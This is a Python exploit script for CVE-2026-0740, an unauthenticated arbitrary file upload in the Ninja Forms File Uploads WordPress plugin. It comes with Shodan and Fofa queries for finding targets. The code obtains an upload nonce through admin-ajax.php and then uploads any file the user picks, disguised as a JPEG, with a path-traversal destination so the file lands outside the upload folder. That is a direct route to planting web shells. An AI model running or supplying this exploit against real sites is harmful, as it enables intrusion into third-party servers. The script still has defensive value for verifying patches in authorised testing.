#!/usr/bin/env python3 """ =============================================================================== Author: Sélim Lanouar (@whattheslime) CVE: CVE-2026-0740 CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) CWE: CWE-434 Date: 2026-01-08 Finder: Sélim Lanouar (@whattheslime) Fofa: body="nfpluginsettings.js?ver=" Shodan: http.html:"nfpluginsettings.js?ver=" Severity: Critical Title: Ninja Forms File Uploads <= 3.3.26 - Unauthenticated Arbitrary File Upload Vendor URL: https://ninjaforms.com/extensions/file-uploads/ Version: <= 3.3.26 ------------------------------------------------------------------------------- Install: python3 -m venv .venv && .venv/bin/pip install -r requirements.txt Usage: .venv/bin/python3 CVE-2026-0740.py -h ------------------------------------------------------------------------------- References: https://blog.lexfo.fr/ninja-forms-uploads_rce.html https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/ https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-0740.yaml https://github.com/advisories/GHSA-v8wq-rjpf-669f https://www.cve.org/CVERecord?id=CVE-2026-0740 =============================================================================== """ import argparse import pathlib import random import sys from datetime import datetime from functools import partialmethod from urllib.parse import urljoin import httpx import socksio # --------------------------------------------------------------- Constants --- AGENT = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" ) TIMEOUT = 10 PROXY = None # ------------------------------------------------------------------- Utils --- class Logger: COLORS = { "error": 31, "success": 32, "warning": 33, "info": 34, } def log(self, level: str, scope: str, message: str, progress=False): color = self.COLORS[level] date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ") end = "\r" if progress else "\n" sys.stderr.write( f"\r\033[{color}m[{date}] [{time}] [{level}] [{scope}]\033[0m " f"{message}{end}" ) warning = partialmethod(log, "warning") error = partialmethod(log, "error") success = partialmethod(log, "success") info = partialmethod(log, "info") def parse_args() -> argparse.Namespace: """ Function to parse user arguments. """ parser = argparse.ArgumentParser( description="CVE-2026-0740 - Ninja Forms File Uploads - Unauthenticated Arbitrary File Upload" ) parser.add_argument( "-t", "--target", required=True, type=str, help="target url (e.g. http://target.com).", ) parser.add_argument( "-f", "--file", required=True, type=pathlib.Path, help="file to upload.", ) default_dest=pathlib.Path("../../../") parser.add_argument( "-d", "--dest", type=pathlib.Path, default=default_dest, help="destination filename via path traversal " f"(default: {default_dest}).", ) parser.add_argument( "-x", "--proxy", type=str, default=PROXY, help=f"Proxy url (e.g. http://127.0.0.1:8080) (default: {PROXY!s}).", ) parser.add_argument( "-H", "--headers", type=str, nargs="+", default=[], help="Custom headers (e.g. 'Header1: Value1' 'Header2: Value2').", ) parser.add_argument( "--timeout", type=float, default=TIMEOUT, help=f"Set HTTP requests timeout (default: {TIMEOUT!s})." ) return parser.parse_args() # ----------------------------------------------------------------- Exploit --- def exploit( logger: Logger, http_client: httpx.Client, target: str, file_path: pathlib.Path, dest_path: str | None ) -> bool: """ Try exploit on one target. Return True if exploit succeeded, False otherwise. """ ajax_url = urljoin(target, "/wp-admin/admin-ajax.php") # Avoid field_id starts with zero field_id = "".join(random.choices("123456789", k=16)) try: # Step 1: Generate random field_id to create file upload nonce logger.info(target, f"Fetch nonce for random field_id: {field_id}...") data = { "action": "nf_fu_get_new_nonce", "field_id": field_id } response = http_client.post(ajax_url, data=data) if response.text == "0": logger.error( target, "Invalid ajax response: " "The plugin doesn't seem to be installed on the target site." ) return False try: json_result = response.json() except ValueError: logger.error( target, "Non-JSON response, probably blocked by a WAF! " f"(Status: {response.status_code})" ) return False if not json_result.get("success"): logger.warning(target, "Failed to get ninja-forms-upload nonce!") return False nonce = json_result["data"]["nonce"] logger.success(target, f"Got ninja-forms-upload nonce: {nonce}") # Step 2: Upload file files_key = f"files-{field_id}" if not dest_path: dest_path_str = file_path.name elif dest_path.is_dir(): dest_path_str = str(dest_path / file_path.name) else: dest_path_str = str(dest_path) logger.info( target, f"Uploading {file_path.name} as {dest_path_str}" " via POST parameter..." ) files = { files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg") } data = { "action": "nf_fu_upload", "nonce": nonce, "form_id": field_id, "field_id": field_id, "image_jpg": dest_path_str } response = http_client.post(ajax_url, data=data, files=files) try: json_result = response.json() except ValueError: logger.error( target, "Non-JSON response, probably blocked by a WAF! " f"(Status: {response.status_code})" ) return False if not json_result: logger.warning(target, f"Upload failed: {response.text}") return False if json_result.get("data") and json_result["data"].get("files"): uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"] if uploaded_tmp_name == dest_path_str: file_url = urljoin( target, f"/wp-content/uploads/ninja-forms/tmp/{dest_path_str}" ) logger.success(target, f"File uploaded at: {file_url}") return True else: logger.warning( target, "File uploaded but returned unexpected filename: " f"{uploaded_tmp_name}" ) return False else: logger.info(target, "Exploit did not work.") except httpx.ReadTimeout: logger.error(target, "Request timed out!") except httpx.ConnectError as error: logger.error(target, f"Connection failed: {error!s}") except httpx.NetworkError as error: logger.error(target, f"Network communication error: {error!s}") except httpx.HTTPStatusError as error: logger.error( target, f"Unexpected HTTP status {error.response.status_code}: " f"{error!s}" ) except httpx.HTTPError as error: logger.error(target, f"HTTP client error: {error!s}") except socksio.exceptions.ProtocolError as error: logger.error(target, f"SOCKS protocol error: {error!s}") return False # -------------------------------------------------------------------- Main --- def main(): """ Program entry point. """ args = parse_args() # Header parsing. headers_list = [["User-Agent", AGENT]] headers_list += [header.split(":", 1) for header in args.headers] headers = {header[0].strip(): header[1].strip() for header in headers_list} logger = Logger() if not args.file.is_file(): logger.error("file_loading", f"File not found: {args.file}") return 1 with httpx.Client( follow_redirects=False, headers=headers, proxy=args.proxy, verify=False, timeout=args.timeout ) as http_client: exploit( logger, http_client, args.target, args.file, args.dest ) if __name__ == "__main__": main()